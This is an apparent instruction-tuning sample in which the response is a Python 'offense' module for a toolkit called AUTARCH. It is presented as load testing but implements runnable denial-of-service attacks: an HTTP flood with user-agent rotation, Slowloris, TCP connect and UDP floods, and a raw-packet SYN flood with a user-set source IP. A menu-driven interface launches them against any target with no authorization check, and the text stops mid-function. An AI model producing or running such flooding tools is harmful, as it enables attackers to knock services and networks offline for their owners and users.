Instruction: Create an AUTARCH module in the 'offense' category that load & stress testing toolkit. The module should follow AUTARCH conventions with DESCRIPTION, AUTHOR, VERSION, CATEGORY attributes and a run() entry point function.

Input:
Module name: loadtest
Category: offense
Description: Load & stress testing toolkit

Output:
"""AUTARCH Load Testing Module

Multi-protocol load/stress testing tool combining features from
Apache Bench, Locust, k6, wrk, Slowloris, and HULK.

Supports: HTTP/HTTPS GET/POST/PUT/DELETE, Slowloris, SYN flood,
UDP flood, TCP connect flood, with real-time metrics and ramp-up patterns.
"""

DESCRIPTION = "Load & stress testing toolkit"
AUTHOR = "darkHal"
VERSION = "1.0"
CATEGORY = "offense"

import time
import threading
import random
import string
import socket
import ssl
import struct
import queue
import json
import statistics
from dataclasses import dataclass, field
from typing import Dict, List, Optional, Any
from enum import Enum
from collections import deque
from urllib.parse import urlparse

# Optional: requests for HTTP tests
try:
    import requests
    from requests.adapters import HTTPAdapter
    REQUESTS_AVAILABLE = True
except ImportError:
    REQUESTS_AVAILABLE = False

class AttackType(Enum):
    HTTP_FLOOD = "http_flood"
    HTTP_SLOWLORIS = "slowloris"
    TCP_CONNECT = "tcp_connect"
    UDP_FLOOD = "udp_flood"
    SYN_FLOOD = "syn_flood"

class RampPattern(Enum):
    CONSTANT = "constant"     # All workers at once
    LINEAR = "linear"         # Gradually add workers
    STEP = "step"             # Add workers in bursts
    SPIKE = "spike"           # Burst → sustain → burst

@dataclass
class RequestResult:
    status_code: int = 0
    latency_ms: float = 0.0
    bytes_sent: int = 0
    bytes_received: int = 0
    success: bool = False
    error: str = ""
    timestamp: float = 0.0

@dataclass
class TestMetrics:
    """Live metrics for a running load test."""
    total_requests: int = 0
    successful: int = 0
    failed: int = 0
    bytes_sent: int = 0
    bytes_received: int = 0
    start_time: float = 0.0
    elapsed: float = 0.0
    active_workers: int = 0
    status_codes: Dict[int, int] = field(default_factory=dict)
    latencies: List[float] = field(default_factory=list)
    errors: Dict[str, int] = field(default_factory=dict)
    rps_history: List[float] = field(default_factory=list)

    @property
    def rps(self) -> float:
        if self.elapsed <= 0:
            return 0.0
        return self.total_requests / self.elapsed

    @property
    def avg_latency(self) -> float:
        return statistics.mean(self.latencies) if self.latencies else 0.0

    @property
    def p50_latency(self) -> float:
        if not self.latencies:
            return 0.0
        s = sorted(self.latencies)
        return s[len(s) // 2]

    @property
    def p95_latency(self) -> float:
        if not self.latencies:
            return 0.0
        s = sorted(self.latencies)
        return s[int(len(s) * 0.95)]

    @property
    def p99_latency(self) -> float:
        if not self.latencies:
            return 0.0
        s = sorted(self.latencies)
        return s[int(len(s) * 0.99)]

    @property
    def max_latency(self) -> float:
        return max(self.latencies) if self.latencies else 0.0

    @property
    def min_latency(self) -> float:
        return min(self.latencies) if self.latencies else 0.0

    @property
    def success_rate(self) -> float:
        if self.total_requests <= 0:
            return 0.0
        return (self.successful / self.total_requests) * 100

    @property
    def error_rate(self) -> float:
        if self.total_requests <= 0:
            return 0.0
        return (self.failed / self.total_requests) * 100

    def to_dict(self) -> dict:
        return {
            'total_requests': self.total_requests,
            'successful': self.successful,
            'failed': self.failed,
            'bytes_sent': self.bytes_sent,
            'bytes_received': self.bytes_received,
            'elapsed': round(self.elapsed, 2),
            'active_workers': self.active_workers,
            'rps': round(self.rps, 1),
            'avg_latency': round(self.avg_latency, 2),
            'p50_latency': round(self.p50_latency, 2),
            'p95_latency': round(self.p95_latency, 2),
            'p99_latency': round(self.p99_latency, 2),
            'max_latency': round(self.max_latency, 2),
            'min_latency': round(self.min_latency, 2),
            'success_rate': round(self.success_rate, 1),
            'error_rate': round(self.error_rate, 1),
            'status_codes': dict(self.status_codes),
            'top_errors': dict(sorted(self.errors.items(), key=lambda x: -x[1])[:5]),
            'rps_history': list(self.rps_history[-60:]),
        }

# User-agent rotation pool
USER_AGENTS = [
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36",
    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/605.1.15",
    "Mozilla/5.0 (X11; Linux x86_64; rv:121.0) Gecko/20100101 Firefox/121.0",
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Edge/120.0.0.0",
    "Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 Mobile/15E148",
    "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 Chrome/120.0.0.0 Mobile Safari/537.36",
    "curl/8.4.0",
    "python-requests/2.31.0",
]

class LoadTester:
    """Multi-protocol load testing engine."""

    def __init__(self):
        self._stop_event = threading.Event()
        self._pause_event = threading.Event()
        self._pause_event.set()  # Not paused by default
        self._workers: List[threading.Thread] = []
        self._metrics = TestMetrics()
        self._metrics_lock = threading.Lock()
        self._running = False
        self._config: Dict[str, Any] = {}
        self._result_queue: queue.Queue = queue.Queue()
        self._subscribers: List[queue.Queue] = []
        self._rps_counter = 0
        self._rps_timer_start = 0.0

    @property
    def running(self) -> bool:
        return self._running

    @property
    def metrics(self) -> TestMetrics:
        return self._metrics

    def start(self, config: Dict[str, Any]):
        """Start a load test with given configuration.

        Config keys:
            target: URL or host:port
            attack_type: http_flood|slowloris|tcp_connect|udp_flood|syn_flood
            workers: Number of concurrent workers
            duration: Duration in seconds (0 = unlimited)
            requests_per_worker: Max requests per worker (0 = unlimited)
            ramp_pattern: constant|linear|step|spike
            ramp_duration: Ramp-up time in seconds
            method: HTTP method (GET/POST/PUT/DELETE)
            headers: Custom headers dict
            body: Request body
            timeout: Request timeout in seconds
            follow_redirects: Follow HTTP redirects
            verify_ssl: Verify SSL certificates
            rotate_useragent: Rotate user agents
            custom_useragent: Custom user agent string
            rate_limit: Max requests per second (0 = unlimited)
            payload_size: UDP/TCP payload size in bytes
        """
        if self._running:
            return

        self._stop_event.clear()
        self._pause_event.set()
        self._running = True
        self._config = config
        self._metrics = TestMetrics(start_time=time.time())
        self._rps_counter = 0
        self._rps_timer_start = time.time()

        # Start metrics collector thread
        collector = threading.Thread(target=self._collect_results, daemon=True)
        collector.start()

        # Start RPS tracker
        rps_tracker = threading.Thread(target=self._track_rps, daemon=True)
        rps_tracker.start()

        # Determine attack type
        attack_type = config.get('attack_type', 'http_flood')
        workers = config.get('workers', 10)
        ramp = config.get('ramp_pattern', 'constant')
        ramp_dur = config.get('ramp_duration', 0)

        # Launch workers based on ramp pattern
        launcher = threading.Thread(
            target=self._launch_workers,
            args=(attack_type, workers, ramp, ramp_dur),
            daemon=True
        )
        launcher.start()

    def stop(self):
        """Stop the load test."""
        self._stop_event.set()
        self._running = False

    def pause(self):
        """Pause the load test."""
        self._pause_event.clear()

    def resume(self):
        """Resume the load test."""
        self._pause_event.set()

    def subscribe(self) -> queue.Queue:
        """Subscribe to real-time metric updates."""
        q = queue.Queue()
        self._subscribers.append(q)
        return q

    def unsubscribe(self, q: queue.Queue):
        """Unsubscribe from metric updates."""
        if q in self._subscribers:
            self._subscribers.remove(q)

    def _publish(self, data: dict):
        """Publish data to all subscribers."""
        dead = []
        for q in self._subscribers:
            try:
                q.put_nowait(data)
            except queue.Full:
                dead.append(q)
        for q in dead:
            self._subscribers.remove(q)

    def _launch_workers(self, attack_type: str, total_workers: int,
                        ramp: str, ramp_dur: float):
        """Launch worker threads according to ramp pattern."""
        worker_fn = {
            'http_flood': self._http_worker,
            'slowloris': self._slowloris_worker,
            'tcp_connect': self._tcp_worker,
            'udp_flood': self._udp_worker,
            'syn_flood': self._syn_worker,
        }.get(attack_type, self._http_worker)

        if ramp == 'constant' or ramp_dur <= 0:
            for i in range(total_workers):
                if self._stop_event.is_set():
                    break
                t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
                t.start()
                self._workers.append(t)
                with self._metrics_lock:
                    self._metrics.active_workers = len(self._workers)
        elif ramp == 'linear':
            interval = ramp_dur / max(total_workers, 1)
            for i in range(total_workers):
                if self._stop_event.is_set():
                    break
                t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
                t.start()
                self._workers.append(t)
                with self._metrics_lock:
                    self._metrics.active_workers = len(self._workers)
                time.sleep(interval)
        elif ramp == 'step':
            steps = min(5, total_workers)
            per_step = total_workers // steps
            step_interval = ramp_dur / steps
            for s in range(steps):
                if self._stop_event.is_set():
                    break
                count = per_step if s < steps - 1 else total_workers - len(self._workers)
                for i in range(count):
                    if self._stop_event.is_set():
                        break
                    t = threading.Thread(target=worker_fn, args=(len(self._workers),), daemon=True)
                    t.start()
                    self._workers.append(t)
                with self._metrics_lock:
                    self._metrics.active_workers = len(self._workers)
                time.sleep(step_interval)
        elif ramp == 'spike':
            # Burst 50%, wait, add remaining
            burst = total_workers // 2
            for i in range(burst):
                if self._stop_event.is_set():
                    break
                t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
                t.start()
                self._workers.append(t)
            with self._metrics_lock:
                self._metrics.active_workers = len(self._workers)
            time.sleep(ramp_dur / 2)
            for i in range(burst, total_workers):
                if self._stop_event.is_set():
                    break
                t = threading.Thread(target=worker_fn, args=(i,), daemon=True)
                t.start()
                self._workers.append(t)
            with self._metrics_lock:
                self._metrics.active_workers = len(self._workers)

        # Wait for duration or stop
        duration = self._config.get('duration', 0)
        if duration > 0:
            start = time.time()
            while time.time() - start < duration and not self._stop_event.is_set():
                time.sleep(0.5)
            self.stop()

    def _collect_results(self):
        """Collect results from worker threads."""
        while self._running or not self._result_queue.empty():
            try:
                result = self._result_queue.get(timeout=0.5)
            except queue.Empty:
                continue

            with self._metrics_lock:
                m = self._metrics
                m.total_requests += 1
                m.elapsed = time.time() - m.start_time
                m.bytes_sent += result.bytes_sent
                m.bytes_received += result.bytes_received

                if result.success:
                    m.successful += 1
                else:
                    m.failed += 1
                    err_key = result.error[:50] if result.error else 'unknown'
                    m.errors[err_key] = m.errors.get(err_key, 0) + 1

                if result.status_code:
                    m.status_codes[result.status_code] = m.status_codes.get(result.status_code, 0) + 1

                if result.latency_ms > 0:
                    # Keep last 10000 latencies for percentile calculation
                    if len(m.latencies) > 10000:
                        m.latencies = m.latencies[-5000:]
                    m.latencies.append(result.latency_ms)

                self._rps_counter += 1

            # Publish update every 20 requests
            if m.total_requests % 20 == 0:
                self._publish({'type': 'metrics', 'data': m.to_dict()})

    def _track_rps(self):
        """Track requests per second over time."""
        while self._running:
            time.sleep(1)
            with self._metrics_lock:
                now = time.time()
                elapsed = now - self._rps_timer_start
                if elapsed >= 1.0:
                    current_rps = self._rps_counter / elapsed
                    self._metrics.rps_history.append(round(current_rps, 1))
                    if len(self._metrics.rps_history) > 120:
                        self._metrics.rps_history = self._metrics.rps_history[-60:]
                    self._rps_counter = 0
                    self._rps_timer_start = now

    def _should_continue(self, request_count: int) -> bool:
        """Check if worker should continue."""
        if self._stop_event.is_set():
            return False
        max_req = self._config.get('requests_per_worker', 0)
        if max_req > 0 and request_count >= max_req:
            return False
        return True

    def _rate_limit_wait(self):
        """Apply rate limiting if configured."""
        rate = self._config.get('rate_limit', 0)
        if rate > 0:
            workers = self._config.get('workers', 1)
            per_worker = rate / max(workers, 1)
            if per_worker > 0:
                time.sleep(1.0 / per_worker)

    def _get_session(self) -> 'requests.Session':
        """Create an HTTP session with configuration."""
        if not REQUESTS_AVAILABLE:
            raise RuntimeError("requests library not available")

        session = requests.Session()
        adapter = HTTPAdapter(
            pool_connections=10,
            pool_maxsize=10,
            max_retries=0,
        )
        session.mount('http://', adapter)
        session.mount('https://', adapter)
        session.verify = self._config.get('verify_ssl', False)

        # Custom headers
        headers = self._config.get('headers', {})
        if headers:
            session.headers.update(headers)

        if self._config.get('rotate_useragent', True):
            session.headers['User-Agent'] = random.choice(USER_AGENTS)
        elif self._config.get('custom_useragent'):
            session.headers['User-Agent'] = self._config['custom_useragent']

        return session

    def _http_worker(self, worker_id: int):
        """HTTP flood worker — sends rapid HTTP requests."""
        target = self._config.get('target', '')
        method = self._config.get('method', 'GET').upper()
        body = self._config.get('body', '')
        timeout = self._config.get('timeout', 10)
        follow = self._config.get('follow_redirects', True)
        count = 0

        session = self._get_session()

        while self._should_continue(count):
            self._pause_event.wait()
            self._rate_limit_wait()

            if self._config.get('rotate_useragent', True):
                session.headers['User-Agent'] = random.choice(USER_AGENTS)

            start = time.time()
            result = RequestResult(timestamp=start)

            try:
                resp = session.request(
                    method, target,
                    data=body if body else None,
                    timeout=timeout,
                    allow_redirects=follow,
                )
                elapsed = (time.time() - start) * 1000

                result.status_code = resp.status_code
                result.latency_ms = elapsed
                result.bytes_received = len(resp.content)
                result.bytes_sent = len(body.encode()) if body else 0
                result.success = 200 <= resp.status_code < 500

            except requests.Timeout:
                result.error = "timeout"
                result.latency_ms = timeout * 1000
            except requests.ConnectionError as e:
                result.error = f"connection_error: {str(e)[:60]}"
            except Exception as e:
                result.error = str(e)[:80]

            self._result_queue.put(result)
            count += 1

        session.close()

    def _slowloris_worker(self, worker_id: int):
        """Slowloris worker — holds connections open with partial headers."""
        parsed = urlparse(self._config.get('target', ''))
        host = parsed.hostname or self._config.get('target', '')
        port = parsed.port or (443 if parsed.scheme == 'https' else 80)
        use_ssl = parsed.scheme == 'https'
        timeout = self._config.get('timeout', 10)

        sockets: List[socket.socket] = []
        max_sockets = 50  # Per worker

        while self._should_continue(0):
            self._pause_event.wait()

            # Create new sockets up to limit
            while len(sockets) < max_sockets and not self._stop_event.is_set():
                try:
                    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                    sock.settimeout(timeout)
                    if use_ssl:
                        ctx = ssl.create_default_context()
                        ctx.check_hostname = False
                        ctx.verify_mode = ssl.CERT_NONE
                        sock = ctx.wrap_socket(sock, server_hostname=host)
                    sock.connect((host, port))

                    # Send partial HTTP request
                    ua = random.choice(USER_AGENTS)
                    sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
                    sock.send(f"Host: {host}\r\n".encode())
                    sock.send(f"User-Agent: {ua}\r\n".encode())
                    sock.send(b"Accept-language: en-US,en;q=0.5\r\n")

                    sockets.append(sock)
                    result = RequestResult(
                        success=True, timestamp=time.time(),
                        bytes_sent=200, latency_ms=0
                    )
                    self._result_queue.put(result)
                except Exception as e:
                    result = RequestResult(
                        error=str(e)[:60], timestamp=time.time()
                    )
                    self._result_queue.put(result)
                    break

            # Keep connections alive with partial headers
            dead = []
            for i, sock in enumerate(sockets):
                try:
                    header = f"X-a: {random.randint(1, 5000)}\r\n"
                    sock.send(header.encode())
                except Exception:
                    dead.append(i)

            # Remove dead sockets
            for i in sorted(dead, reverse=True):
                try:
                    sockets[i].close()
                except Exception:
                    pass
                sockets.pop(i)

            time.sleep(random.uniform(5, 15))

        # Cleanup
        for sock in sockets:
            try:
                sock.close()
            except Exception:
                pass

    def _tcp_worker(self, worker_id: int):
        """TCP connect flood worker — rapid connect/disconnect."""
        parsed = urlparse(self._config.get('target', ''))
        host = parsed.hostname or self._config.get('target', '').split(':')[0]
        try:
            port = parsed.port or int(self._config.get('target', '').split(':')[-1])
        except (ValueError, IndexError):
            port = 80
        timeout = self._config.get('timeout', 5)
        payload_size = self._config.get('payload_size', 0)
        count = 0

        while self._should_continue(count):
            self._pause_event.wait()
            self._rate_limit_wait()

            start = time.time()
            result = RequestResult(timestamp=start)

            try:
                sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                sock.settimeout(timeout)
                sock.connect((host, port))

                if payload_size > 0:
                    data = random.randbytes(payload_size)
                    sock.send(data)
                    result.bytes_sent = payload_size

                elapsed = (time.time() - start) * 1000
                result.latency_ms = elapsed
                result.success = True

                sock.close()
            except socket.timeout:
                result.error = "timeout"
                result.latency_ms = timeout * 1000
            except ConnectionRefusedError:
                result.error = "connection_refused"
            except Exception as e:
                result.error = str(e)[:60]

            self._result_queue.put(result)
            count += 1

    def _udp_worker(self, worker_id: int):
        """UDP flood worker — sends UDP packets."""
        target = self._config.get('target', '')
        host = target.split(':')[0] if ':' in target else target
        try:
            port = int(target.split(':')[1]) if ':' in target else 80
        except (ValueError, IndexError):
            port = 80
        payload_size = self._config.get('payload_size', 1024)
        count = 0

        sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

        while self._should_continue(count):
            self._pause_event.wait()
            self._rate_limit_wait()

            start = time.time()
            result = RequestResult(timestamp=start)

            try:
                data = random.randbytes(payload_size)
                sock.sendto(data, (host, port))
                elapsed = (time.time() - start) * 1000
                result.latency_ms = elapsed
                result.bytes_sent = payload_size
                result.success = True
            except Exception as e:
                result.error = str(e)[:60]

            self._result_queue.put(result)
            count += 1

        sock.close()

    @staticmethod
    def _checksum(data: bytes) -> int:
        """Calculate IP/TCP checksum."""
        if len(data) % 2:
            data += b'\x00'
        s = 0
        for i in range(0, len(data), 2):
            s += (data[i] << 8) + data[i + 1]
        s = (s >> 16) + (s & 0xffff)
        s += s >> 16
        return ~s & 0xffff

    def _build_syn_packet(self, src_ip: str, dst_ip: str,
                          src_port: int, dst_port: int) -> bytes:
        """Build a raw TCP SYN packet (IP header + TCP header)."""
        # IP Header (20 bytes)
        ip_ihl_ver = (4 << 4) + 5  # IPv4, IHL=5 (20 bytes)
        ip_tos = 0
        ip_tot_len = 40  # 20 IP + 20 TCP
        ip_id = random.randint(1, 65535)
        ip_frag_off = 0
        ip_ttl = 64
        ip_proto = socket.IPPROTO_TCP
        ip_check = 0
        ip_saddr = socket.inet_aton(src_ip)
        ip_daddr = socket.inet_aton(dst_ip)

        ip_header = struct.pack('!BBHHHBBH4s4s',
                                ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
                                ip_frag_off, ip_ttl, ip_proto, ip_check,
                                ip_saddr, ip_daddr)
        # Recalculate IP checksum
        ip_check = self._checksum(ip_header)
        ip_header = struct.pack('!BBHHHBBH4s4s',
                                ip_ihl_ver, ip_tos, ip_tot_len, ip_id,
                                ip_frag_off, ip_ttl, ip_proto, ip_check,
                                ip_saddr, ip_daddr)

        # TCP Header (20 bytes)
        tcp_seq = random.randint(0, 0xFFFFFFFF)
        tcp_ack_seq = 0
        tcp_doff = 5  # Data offset: 5 words (20 bytes)
        tcp_flags = 0x02  # SYN
        tcp_window = socket.htons(5840)
        tcp_check = 0
        tcp_urg_ptr = 0
        tcp_offset_res = (tcp_doff << 4) + 0

        tcp_header = struct.pack('!HHLLBBHHH',
                                 src_port, dst_port, tcp_seq, tcp_ack_seq,
                                 tcp_offset_res, tcp_flags, tcp_window,
                                 tcp_check, tcp_urg_ptr)

        # Pseudo header for TCP checksum
        pseudo = struct.pack('!4s4sBBH',
                             ip_saddr, ip_daddr, 0, ip_proto, 20)
        tcp_check = self._checksum(pseudo + tcp_header)
        tcp_header = struct.pack('!HHLLBBHHH',
                                 src_port, dst_port, tcp_seq, tcp_ack_seq,
                                 tcp_offset_res, tcp_flags, tcp_window,
                                 tcp_check, tcp_urg_ptr)

        return ip_header + tcp_header

    def _syn_worker(self, worker_id: int):
        """SYN flood worker — sends raw TCP SYN packets.

        Requires elevated privileges (admin/root) for raw sockets.
        Falls back to TCP connect flood if raw socket creation fails.
        """
        target = self._config.get('target', '')
        host = target.split(':')[0] if ':' in target else target
        try:
            port = int(target.split(':')[1]) if ':' in target else 80
        except (ValueError, IndexError):
            port = 80

        # Resolve target IP
        try:
            dst_ip = socket.gethostbyname(host)
        except socket.gaierror:
            result = RequestResult(error=f"Cannot resolve {host}", timestamp=time.time())
            self._result_queue.put(result)
            return

        # Source IP: user-specified or auto-detect local IP
        src_ip = self._config.get('source_ip', '').strip()
        if not src_ip:
            try:
                s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
                s.connect((dst_ip, 80))
                src_ip = s.getsockname()[0]
                s.close()
            except Exception:
                src_ip = '127.0.0.1'

        # Try to create raw socket
        try:
            import sys
            if sys.platform == 'win32':
                # Windows raw sockets
                sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
                sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
            else:
                sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
                sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
        except PermissionError:
            # Fall back to TCP connect flood
            self._tcp_worker(worker_id)
            return
        except OSError as e:
            result = RequestResult(
                error=f"Raw socket failed (need admin/root): {e}", timestamp=time.time()
            )
            self._result_queue.put(result)
            # Fall back
            self._tcp_worker(worker_id)
            return

        count = 0
        while self._should_continue(count):
            self._pause_event.wait()
            self._rate_limit_wait()

            start = time.time()
            result = RequestResult(timestamp=start)

            try:
                src_port = random.randint(1024, 65535)
                packet = self._build_syn_packet(src_ip, dst_ip, src_port, port)
                sock.sendto(packet, (dst_ip, 0))

                elapsed = (time.time() - start) * 1000
                result.latency_ms = elapsed
                result.bytes_sent = len(packet)
                result.success = True
            except Exception as e:
                result.error = str(e)[:60]

            self._result_queue.put(result)
            count += 1

        sock.close()

# Singleton
_load_tester: Optional[LoadTester] = None

def get_load_tester() -> LoadTester:
    global _load_tester
    if _load_tester is None:
        _load_tester = LoadTester()
    return _load_tester

def _clear():
    import os
    os.system('cls' if os.name == 'nt' else 'clear')

def _format_bytes(b: int) -> str:
    if b < 1024:
        return f"{b} B"
    elif b < 1024 * 1024:
        return f"{b / 1024:.1f} KB"
    elif b < 1024 * 1024 * 1024:
        return f"{b / (1024 * 1024):.1f} MB"
    return f"{b / (1024 * 1024 * 1024):.2f} GB"

def run():
    """Interactive CLI for the load testing module."""
    from core.banner import Colors

    tester = get_load_tester()

    while True:
        _clear()
        print(f"\n{Colors.RED}  ╔══════════════════════════════════════╗{Colors.RESET}")
        print(f"{Colors.RED}  ║       AUTARCH Load Tester            ║{Colors.RESET}")
        print(f"{Colors.RED}  ╚══════════════════════════════════════╝{Colors.RESET}")
        print()

        if tester.running:
            m = tester.metrics
            print(f"  {Colors.GREEN}● TEST RUNNING{Colors.RESET}  Workers: {m.active_workers}  Elapsed: {m.elapsed:.0f}s")
            print(f"  {Colors.CYAN}RPS: {m.rps:.1f}  Total: {m.total_requests}  OK: {m.successful}  Fail: {m.failed}{Colors.RESET}")
            print(f"  {Colors.DIM}Avg: {m.avg_latency:.1f}ms  P95: {m.p95_latency:.1f}ms  P99: {m.p99_latency:.1f}ms{Colors.RESET}")
            print(f"  {Colors.DIM}Sent: {_format_bytes(m.bytes_sent)}  Recv: {_format_bytes(m.bytes_received)}{Colors.RESET}")
            print()
            print(f"  {Colors.WHITE}1{Colors.RESET} — View live metrics")
            print(f"  {Colors.WHITE}2{Colors.RESET} — Pause / Resume")
            print(f"  {Colors.WHITE}3{Colors.RESET} — Stop test")
            print(f"  {Colors.WHITE}0{Colors.RESET} — Back (test continues)")
        else:
            print(f"  {Colors.WHITE}1{Colors.RESET} — HTTP Flood")
            print(f"  {Colors.WHITE}2{Colors.RESET} — Slowloris")
            print(f"  {Colors.WHITE}3{Colors.RESET} — TCP Connect Flood")
            print(f"  {Colors.WHITE}4{Colors.RESET} — UDP Flood")
            print(f"  {Colors.WHITE}5{Colors.RESET} — SYN Flood (requires admin)")
            print(f"  {Colors.WHITE}6{Colors.RESET} — Quick Test (HTTP GET)")
            print(f"  {Colors.WHITE}0{Colors.RESET} — Back")

        print()
        try:
            choice = input(f"  {Colors.WHITE}Select: {Colors.RESET}").strip()
        except (EOFError, KeyboardInterrupt):
            break

        if choice == '0' or not choice:
            break

        if tester.running:
            if choice == '1':
                _show_live_metrics(tester)
            elif choice == '2':
                if tester._pause_event.is_set():
                    tester.pause()
                    print(f"\n  {Colors.YELLOW}[!] Test paused{Colors.RESET}")
                else:
                    tester.resume()
                    print(f"\n  {Colors.GREEN}[+] Test resumed{Colors.RESET}")
                time.sleep(1)
            elif choice == '3':
                tester.stop()
                _show_final_report(tester)
        else:
            if choice == '1':
                _configure_and_run(tester, 'http_flood')
            elif choice == '2':
                _configure_and_run(tester, 'slowloris')
            elif choice == '3':
                _configure_and_run(tester, 'tcp_connect')
            elif choice == '4':
                _configure_and_run(tester, 'udp_flood')
            elif choice == '5':
                _configure_and_run(tester, 'syn_flood')
            elif choice == '6':
                _quick_test(tester)

def _configure_and_run(tester: LoadTester, attack_type: str):
    """Interactive configuration and launch."""
    from core.banner import Colors

    print(f"\n{Colors.BOLD}  Configure {attack_type.replace('_', ' ').title()}{Colors.RESET}")
    print(f"{Colors.DIM}  {'─' * 40}{Colors.RESET}\n")

    src_ip = ''
    try:
        if attack_type == 'http_flood':
            target = input(f"  Target URL: ").strip()
            if not target:
                return
            if not target.startswith('http'):
                target = 'http://' + target
            method = input(f"  Method [GET]: ").strip().upper() or 'GET'
            body = ''
            if method in ('POST', 'PUT'):
                body = input(f"  Body: ").strip()
        elif attack_type == 'syn_flood':
            print(f"  {Colors.YELLOW}[!] SYN flood requires administrator/root privileges{Colors.RESET}")
            target = input(f"  Target (host:port): ").strip()
            if not target:
                return
            src_ip = input(f"  Source IP (blank=auto): ").strip()
            method = ''
            body = ''
        elif attack_type in ('tcp_connect', 'udp_flood'):
            target = input(f"  Target (host:port): ").strip()
            if not target:
                return
            method = ''
            body = ''
        elif attack_type == 'slowloris':
            target = input(f"  Target URL or host:port: ").strip()
            if not target:
                return
            if not target.startswith('http') and ':' not in target:
                target = 'http://' + target
            method = ''
            body = ''
        else:
            target = input(f"  Target: ").strip()
            if not target:
                return
            method = ''
            body = ''

        workers_s = input(f"  Workers [10]: ").strip()
        workers = int(workers_s) if workers_s else 10

        duration_s = input(f"  Duration in seconds [30]: ").strip()
        duration = int(duration_s) if duration_s else 30

        ramp_s = input(f"  Ramp pattern (constant/linear/step/spike) [constant]: ").strip()
        ramp = ramp_s if ramp_s in ('constant', 'linear', 'step', 'spike') else 'constant'

        rate_s = input(f"  Rate limit (req/s, 0=unlimited) [0]: ").strip()
        rate_limit = int(rate_s) if rate_s else 0

        config = {
            'target': target,
            'attack_type': attack_type,
            'workers': workers,
            'duration': duration,
            'method': method,
            'body': body,
            'ramp_pattern': ramp,
            'rate_limit': rate_limit,
            'timeout': 10,
            'rotate_useragent': True,
            'verify_ssl': False,
            'follow_redirects': True,
            'payload_size': 1024,
            'source_ip': src_ip if attack_type == 'syn_flood' else '',
        }

        print(f"\n  {Colors.YELLOW}[!] Starting {attack_type} against {target}{Colors.RESET}")
        print(f"  {Colors.DIM}Workers: {workers}  Duration: {duration}s  Ramp: {ramp}{Colors.RESET}")
        confirm = input(f"\n  {Colors.WHITE}Confirm? (y/n) [y]: {Colors.RESET}").strip().lower()
        if confirm == 'n':
            return

        tester.start(config)
        _show_live_metrics(tester)

    except (ValueError, EOFError, KeyboardInterrupt):
        print(f"\n  {Colors.YELLOW}[!] Cancelled{Colors.RESET}")
        time.sleep(1)

def _quick_test(tester: LoadTester):
    """Quick HTTP GET test with defaults."""
    from core.banner import Colors

    try:
        target = input(f"\n  Target URL: ").strip()
        if not target:
            return
        if not target.startswith('http'):
            target = 'http://' + target

        config = {
            'target': target,
            'attack_type': 'http_flood',
            'workers': 10,
            'duration': 10,
            'method': 'GET',
            'body': '',
            'ramp_pattern': 'constant',
            'rate_limit': 0,
            'timeout': 10,
            'rotate_useragent': True,
            'verify_ssl': False,
            'follow_redirects': True,
        }

        print(f"\n  {Colors.YELLOW}[!] Quick test: 10 workers × 10 seconds → {target}{Colors.RESET}")
        tester.start(config)
        _show_live_metrics(tester)

    except (EOFError, KeyboardInterrupt):
        pass

def _show_live_metrics(tester: LoadTester):
    """Display live-updating metrics in the terminal."""
    from core.banner import Colors
    import sys

    print(f"\n  {Colors.GREEN}● LIVE METRICS  {Colors.DIM}(Press Ctrl+C to return to menu){Colors.RESET}\n")

    try:
        while tester.running:
            m = tester.metrics
            rps_bar = '█' * min(int(m.rps / 10), 40)

            sys.stdout.write('\033[2K\r')  # Clear line
            sys.stdout.write(
                f"  {Colors.CYAN}RPS: {m.rps:>7.1f}{Colors.RESET} "
                f"{Colors.DIM}{rps_bar}{Colors.RESET}  "
                f"Total: {m.total_requests:>8}  "
                f"{Colors.GREEN}OK: {m.successful}{Colors.RESET}  "
                f"{Colors.RED}Fail: {m.failed}{Colors.RESET}  "
                f"Avg: {m.avg_latency:.0f}ms  "
                f"P95: {m.p95_latency:.0f}ms  "
                f"Workers: {m.active_workers}"
            )
            sys.stdout.flush()
            time.sleep(0.5)
    except KeyboardInterrupt:
        pass

    print()
    if not tester.running:
        _show_final_report(tester)

def _show_final_report(tester: LoadTester):
    """Display final test results."""
    from core.banner import Colors

    m = tester.metrics
    print(f"\n{Colors.BOLD}  ─── Test Complete ───{Colors.RESET}\n")
    print(f"  Total Requests:  {m.total_requests}")
    print(f"  Successful:      {Colors.GREEN}{m.successful}{Colors.RESET}")
    print(f"  Failed:          {Colors.RED}{m.failed}{Colors.RESET}")
    print(f"  Duration:        {m.elapsed:.1f}s")
    print(f"  Avg RPS:         {m.rps:.1f}")
    print(f"  Data Sent:       {_format_bytes(m.bytes_sent)}")
    print(f"  Data Received:   {_format_bytes(m.bytes_received)}")
    print()
    print(f"  {Colors.CYAN}Latency:{Colors.RESET}")
    print(f"    Min:   {m.min_latency:.1f}ms")
    print(f"    Avg:   {m.avg_latency:.1f}ms")
    print(f"    P50:   {m.p50_latency:.1f}ms")
    print(f"    P95:   {m.p95_latency:.1f}ms")
    print(f"    P99:   {m.p99_latency:.1f}ms")
    print(f"    Max:   {m.max_latency:.1f}ms")

    if m.status_codes:
        print(f"\n  {Colors.CYAN}Status Codes:{Colors.RESET}")
        for code, count in sorted(m.status_codes.items()):
            color = Colors.GREEN if 200 <= code < 300 else Colors.YELLOW if 300 <= code < 400 else Colors.RED
            print(f"    {color}{code}{Colors.RESET}: {count}")

    if m.errors:
